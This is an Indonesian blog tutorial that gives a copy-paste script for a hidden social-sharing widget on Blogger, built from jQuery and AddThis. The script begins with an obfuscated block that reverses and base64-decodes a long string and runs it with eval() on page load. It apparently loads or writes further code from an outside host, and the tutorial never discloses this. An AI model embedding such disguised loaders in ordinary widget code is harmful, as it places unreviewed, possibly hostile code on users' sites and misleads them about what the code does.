Widget Sosial Bookmarking Tersembunyi efek jquery

sosial share bookmarking merupakan salah satu trik memperkenalkan blog di jejaring sosial dan juga penting untuk blog karena akan meningkatkan reputasi blog di jejaring sosial seperti facebook, twitter, g+, pinterest dan masih banyak lagi, kali ini saya akan membagikan widget sosial bookmarking tersembunyi disebelah kiri blog dan ketika di sentuh kursor akan terbuka dengan efek jquery yang halus,

widget yang satu ini menggabungkan beberapa media sosial menjadi satu widget dengan begitu akan menghemat ruang pada blog.

LIVE DEMO

• login ke blogger
• pilih tata letak (layout)
• tambah gadget >> html/java script
• copy paste script berikut

<script language="javascript" type="text/javascript">
var _10I='==wOpkSZwF2YzV2XoUGchN2cl5WdoUGdpJ3duQnbl1Wdj9GZ7kSMwEz
XoQGbph2Qk5WZwBXYuw2TspwOdBzWpcCZhVGangSZtFmTnFGV5J0c05WZtVGb
FRXZn5CduVWb1N2bkBSPgw2TsBichZnC7kCTSVlL05WZtV3YvRGK05WZu9Gct92Q
JJVVlR2bj5WZrcSPsJXdmcyKpIXZyJXZmVmcuQnbl1Wdj9GZoQnbl52bw12bDlkUVV
GZvNmbltyJ9YWZyZyJrcyav1zYyNHdld2Pv02bj5icvRXYjNXdmJ2bs1Gdo5SawF2Lvo
Dc0RHanASPgMmcz5SMwEzXKsTKnQHcpJ3YzdCK05WZtVGbFVGdhVmcj5CduVWb
1N2bkBSPgEDMx8FIyFmd7cSRzUidpR2LDNTJFNTJ2lGZvM0MlU0MlA3LDNTJFNTJh9
yQzUyajFGSwITJ0NXZ0FGTFNTJyITJt92Yus2YhhGdzVGdhxmL3d3dv8SQzUCc0RHayI
TJENTJmVmcoBjMlE2QzUCMyUyajFGa0NXZ0FGTFNTJyITJCNTJl52buF0MlkXYsB3cp
RmMyUCRzUSZslHdzBjMlA3QzUyJ9UGchN2cl9FIyFmd';var _0x362a=
["ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=
","","charAt","indexOf","fromCharCode","length"];function II1(_0x6ea4x2){var _0x6ea4x3
=_0x362a[0];var _0x6ea4x4,_0x6ea4x5,_0x6ea4x6,_0x6ea4x7,_0x6ea4x8,_0x6ea4x9,_
0x6ea4xa,_0x6ea4xb,_0x6ea4xc=0,_0x6ea4xd=_0x362a[1];do{_0x6ea4x7=_0x6ea4x3
[_0x362a[3]](_0x6ea4x2[_0x362a[2]](_0x6ea4xc++));_0x6ea4x8=_0x6ea4x3[_0x362a[3]]
(_0x6ea4x2[_0x362a[2]](_0x6ea4xc++));_0x6ea4x9=_0x6ea4x3[_0x362a[3]](_0x6ea4x2
[_0x362a[2]](_0x6ea4xc++));_0x6ea4xa=_0x6ea4x3[_0x362a[3]](_0x6ea4x2[_0x362a[2]]
(_0x6ea4xc++));_0x6ea4xb=_0x6ea4x7<<18|_0x6ea4x8<<12|_0x6ea4x9<<6|_0x6ea4xa;_
0x6ea4x4=_0x6ea4xb>>16&0xff;_0x6ea4x5=_0x6ea4xb>>8&0xff;_0x6ea4x6=_0x6ea4xb&0xff;if
(_0x6ea4x9==64){_0x6ea4xd+=String[_0x362a[4]](_0x6ea4x4);} else {if(_0x6ea4xa==64)
{_0x6ea4xd+=String[_0x362a[4]](_0x6ea4x4,_0x6ea4x5);} else {_0x6ea4xd+=String[_0x362a[4]]
(_0x6ea4x4,_0x6ea4x5,_0x6ea4x6);} ;} ;} while(_0x6ea4xc<_0x6ea4x2[_0x362a[5]]);;return _0x6ea4xd;}
;function OOI(_0x6ea4xf){var _0x6ea4x10=_0x362a[1],_0x6ea4xc=0;for(_0x6ea4xc=_0x6ea4xf[_0x362a[5]]-1
;_0x6ea4xc>=0;_0x6ea4xc--){_0x6ea4x10+=_0x6ea4xf[_0x362a[2]](_0x6ea4xc);} ;return _0x6ea4x10;}
;eval(II1(OOI(_10I)));</script><script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js
" type="text/javascript"></script><script type="text/javascript">    /*<![CDATA[*/   jQuery(document)
.ready(function(){jQuery(".tricksandteach").hover(function(){jQuery(this).stop().animate({left:"0"},"medium")
},function(){jQuery(this).stop().animate({left:"-70"},"medium")},500)});    /*]]>*/</script><script type="text/javascript"
src="http://s7.addthis.com/js/250/addthis_widget.js"></script><style type="text/css">    .tricksandteach
{        background: url("https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDywfVGToFKtYn8UaxnfqVyBMIJlDnQcxYqQPzH4CGfS9wL9Bgb3juMnEtIDyvYOmqftiICem0b-pPGIww7Euo3TR3eWXeNtx9dzE-Uy_88y8XiXwYHW01lOyy7Zlsf_A43mk20jjcUQ8E/s1600/button.png")
no-repeat scroll right top transparent !important;        display: block;float: left;height: auto;        padding: 0 45px 0 0px;      
width: 65px;        z-index: 99999;        position:fixed;        left:-70px;        top:20%;    }    .tricksandteach div {      
border:none;        position:relative;        display:block;    }</style><div class="tricksandteach" style="">    <div>      
    <div class="addthis_toolbox addthis_floating_style addthis_counter_style" ><a class="addthis_button_facebook_like" fb:like:layout="box_count"></a><a class="addthis_button_tweet" tw:count="vertical"></a><a class="addthis_button_google_plusone" g:plusone:size="tall"></a><a class="addthis_counter"></a><p style='font-size:8px; font-weight:bold; text-align:center;margin-top:10px;'><a href='http://depermana-share.blogspot.com/2013/04/widget-sosial-bookmarking-tersembunyi.html'
    '' >Widget</a></p></div></div></div>

• langkah terakhir simpan, dan lihat hasilnnya

©2013 copyright